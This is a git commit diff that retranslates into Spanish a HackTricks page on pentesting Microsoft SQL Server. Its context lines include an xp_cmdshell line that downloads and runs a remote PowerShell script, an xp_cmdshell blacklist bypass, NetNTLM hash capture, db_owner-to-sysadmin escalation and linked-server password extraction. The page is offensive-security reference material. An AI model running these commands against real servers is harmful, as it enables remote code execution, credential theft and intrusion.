Translated ['network-services-pentesting/pentesting-mssql-microsoft-sql-

This commit is contained in:
Translator 2024-06-17 09:31:44 +00:00
parent 3b91a39c0a
commit 69d24cbb7e

View file

@ -6,9 +6,9 @@
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
@ -50,7 +50,7 @@ nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config
msf> use auxiliary/scanner/mssql/mssql_ping
```
{% hint style="info" %}
Si **no tienes credenciales** puedes intentar adivinarlas. Puedes usar nmap o metasploit. Ten cuidado, puedes **bloquear cuentas** si fallas al iniciar sesión varias veces usando un nombre de usuario existente.
Si **no tienes credenciales**, puedes intentar adivinarlas. Puedes usar nmap o metasploit. Ten cuidado, puedes **bloquear cuentas** si fallas al iniciar sesión varias veces usando un nombre de usuario existente.
{% endhint %}
#### Metasploit (necesita credenciales)
@ -152,11 +152,11 @@ SELECT * FROM sysusers
```
#### Obtener Permisos
1. **Securable:** Definido como los recursos gestionados por SQL Server para el control de acceso. Estos se clasifican en:
* **Servidor** - Ejemplos incluyen bases de datos, inicios de sesión, puntos de conexión, grupos de disponibilidad y roles de servidor.
* **Base de datos** - Ejemplos abarcan roles de base de datos, roles de aplicación, esquemas, certificados, catálogos de texto completo y usuarios.
* **Esquema** - Incluye tablas, vistas, procedimientos, funciones, sinónimos, etc.
2. **Permiso:** Asociado con securables de SQL Server, permisos como ALTER, CONTROL y CREATE pueden otorgarse a un principal. La gestión de permisos se realiza en dos niveles:
1. **Securable:** Definido como los recursos gestionados por SQL Server para el control de acceso. Estos se categorizan en:
* **Servidor** Ejemplos incluyen bases de datos, inicios de sesión, puntos de conexión, grupos de disponibilidad y roles de servidor.
* **Base de datos** Ejemplos abarcan roles de base de datos, roles de aplicación, esquema, certificados, catálogos de texto completo y usuarios.
* **Esquema** Incluye tablas, vistas, procedimientos, funciones, sinónimos, etc.
2. **Permiso:** Asociado con securables de SQL Server, permisos como ALTER, CONTROL y CREATE pueden ser otorgados a un principal. La gestión de permisos ocurre en dos niveles:
* A nivel de **Servidor** utilizando inicios de sesión
* A nivel de **Base de datos** utilizando usuarios
3. **Principal:** Este término se refiere a la entidad a la que se le otorgan permisos sobre un securable. Los principales incluyen principalmente inicios de sesión y usuarios de base de datos. El control sobre el acceso a securables se ejerce mediante la concesión o denegación de permisos o incluyendo inicios de sesión y usuarios en roles equipados con derechos de acceso.
@ -184,7 +184,7 @@ EXEC sp_helprotect 'xp_cmdshell'
### Ejecutar Comandos del Sistema Operativo
{% hint style="danger" %}
Ten en cuenta que para poder ejecutar comandos no solo es necesario tener **`xp_cmdshell`** **habilitado**, sino también tener el **permiso DE EJECUCIÓN en el procedimiento almacenado `xp_cmdshell`**. Puedes verificar quién (excepto los sysadmins) puede usar **`xp_cmdshell`** con:
Ten en cuenta que para poder ejecutar comandos no solo es necesario tener **`xp_cmdshell`** **habilitado**, sino también tener el **permiso de EJECUCIÓN en el procedimiento almacenado `xp_cmdshell`**. Puedes verificar quién (excepto los sysadmins) puede usar **`xp_cmdshell`** con:
```sql
Use master
EXEC sp_helprotect 'xp_cmdshell'
@ -217,7 +217,7 @@ EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.1
# Bypass blackisted "EXEC xp_cmdshell"
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —
```
### Robo de hash NetNTLM / Ataque de relé
### Robo de hash NetNTLM / Ataque de relay
Debes iniciar un **servidor SMB** para capturar el hash utilizado en la autenticación (`impacket-smbserver` o `responder` por ejemplo).
```bash
@ -315,7 +315,7 @@ GO
```
### Leer Registro
Microsoft SQL Server proporciona **múltiples procedimientos almacenados extendidos** que te permiten interactuar no solo con la red, sino también con el sistema de archivos e incluso el [**Registro de Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server)**:**
Microsoft SQL Server proporciona **múltiples procedimientos almacenados extendidos** que te permiten interactuar no solo con la red, sino también con el sistema de archivos e incluso el [**Registro de Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
| **Regular** | **Consciente de la instancia** |
| ---------------------------- | -------------------------------------- |
@ -354,7 +354,7 @@ Existen otros métodos para obtener ejecución de comandos, como agregar [proced
### De db\_owner a sysadmin
Si a un **usuario regular** se le otorga el rol **`db_owner`** sobre la **base de datos propiedad de un usuario administrador** (como **`sa`**) y esa base de datos está configurada como **`trustworthy`**, ese usuario puede abusar de estos privilegios para **escalada de privilegios** porque los **procedimientos almacenados** creados allí pueden **ejecutarse** como el propietario (**administrador**).
Si a un **usuario regular** se le otorga el rol de **`db_owner`** sobre la **base de datos propiedad de un usuario administrador** (como **`sa`**) y esa base de datos está configurada como **`trustworthy`**, ese usuario puede abusar de estos privilegios para **escalada de privilegios** porque los **procedimientos almacenados** creados allí pueden **ejecutarse** como el propietario (**administrador**).
```sql
# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases
@ -445,11 +445,11 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
## Extrayendo contraseñas de SQL Server Linked Servers
Un atacante puede extraer contraseñas de SQL Server Linked Servers de las Instancias de SQL y obtenerlas en texto claro, otorgando al atacante contraseñas que pueden ser utilizadas para obtener un mayor control sobre el objetivo. El script para extraer y descifrar las contraseñas almacenadas para los Linked Servers se puede encontrar [aquí](https://www.richardswinbank.net/admin/extract\_linked\_server\_passwords)
Un atacante puede extraer contraseñas de SQL Server Linked Servers de las instancias de SQL y obtenerlas en texto claro, otorgando al atacante contraseñas que pueden ser utilizadas para obtener un mayor control sobre el objetivo. El script para extraer y descifrar las contraseñas almacenadas para los Linked Servers se puede encontrar [aquí](https://www.richardswinbank.net/admin/extract\_linked\_server\_passwords)
Se deben realizar algunos requisitos y configuraciones para que este exploit funcione. En primer lugar, se debe tener derechos de administrador en la máquina, o la capacidad de gestionar las Configuraciones de SQL Server.
Se deben realizar algunos requisitos y configuraciones para que este exploit funcione. En primer lugar, se debe tener derechos de administrador en la máquina, o la capacidad de administrar las configuraciones de SQL Server.
Después de validar sus permisos, es necesario configurar tres cosas, que son las siguientes:
Después de validar sus permisos, necesita configurar tres cosas, que son las siguientes:
1. Habilitar TCP/IP en las instancias de SQL Server;
2. Agregar un parámetro de inicio, en este caso, se agregará un indicador de seguimiento, que es -T7806.
@ -457,7 +457,7 @@ Después de validar sus permisos, es necesario configurar tres cosas, que son la
Para automatizar estas configuraciones, [este repositorio](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) tiene los scripts necesarios. Además de tener un script de PowerShell para cada paso de la configuración, el repositorio también tiene un script completo que combina los scripts de configuración y la extracción y descifrado de las contraseñas.
Para obtener más información, consulte los siguientes enlaces sobre este ataque: [Descifrado de contraseñas de servidores de enlace de bases de datos MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
Para obtener más información, consulte los siguientes enlaces sobre este ataque: [Descifrando contraseñas de servidores de enlace de bases de datos MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
[Resolución de problemas de la Conexión de Administrador Dedicado de SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
@ -492,7 +492,7 @@ Probablemente podrá **escalar a Administrador** siguiendo una de estas 2 págin
{% embed url="https://discord.gg/tryhardsecurity" %}
***
***
## Comandos Automáticos de HackTricks
```
@ -552,12 +552,12 @@ Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {I
```
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.